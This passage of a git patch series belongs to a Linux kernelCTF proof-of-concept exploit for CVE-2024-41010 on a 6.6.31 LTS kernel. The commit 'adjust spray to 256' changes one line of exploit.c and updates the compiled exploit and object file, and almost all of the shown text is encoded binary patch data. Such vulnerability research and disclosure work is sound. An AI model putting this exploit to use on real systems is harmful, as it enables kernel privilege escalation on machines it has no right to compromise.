z`*c;L$aa8i$I8|RmKmxxw+BkGP&|CbVsIgSoKfy`JrpB-S*H|_7poENt5Ab$j0VRR}IBj(2>tz`5*M%PIC2BQ=e-L_OVOS*^AX*gL4VGD|P@%n06=T3&sA~7%-_KNNH`ih{{7eBK(ix2Mle`}MNZ(|X+x{KukbcbQ zD(3kB&F=YLrjsn*#{J>;%1EW)+80joV`6`w`4bo>A z<*RrB+K|3>1KJ8=wyJ&0D8FydgA=KZzJ#&R8fRfOVorrZq=R)zE9FrYLKV_S80F94 z253gQi_tfj=e^J|TlE}c^Uh)PCJleVLNopas}YZ#jjv+k{lPa!)dn%jBN+yMq(FdU&=|X0k%V-%`=HeTH+46bc1=n1P!e mCEO6eb}xKXG|JTVHxRvWq^bKIkiT$b)Hzx!mS@2?KlT6iL&EO> From 5496a37072f91e03bbb68afd8fea68f265352121 Mon Sep 17 00:00:00 2001 From: 0xTen Date: Wed, 21 Aug 2024 16:05:43 -0300 Subject: [PATCH 03/12] CVE-2024-41010 adjust spray to 256 --- .../exploit/lts-6.6.31/exploit | Bin 977904 -> 977904 bytes .../exploit/lts-6.6.31/exploit.c | 2 +- .../exploit/lts-6.6.31/obj/exploit.o | Bin 27568 -> 27592 bytes 3 files changed, 1 insertion(+), 1 deletion(-) diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/exploit b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/exploit index 879d49ee0a172269b6340741ac3e24eefed25731..30a0f2a752ff4ee5c95bd604cda0626fde1def5d 100755 GIT binary patch delta 57297 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 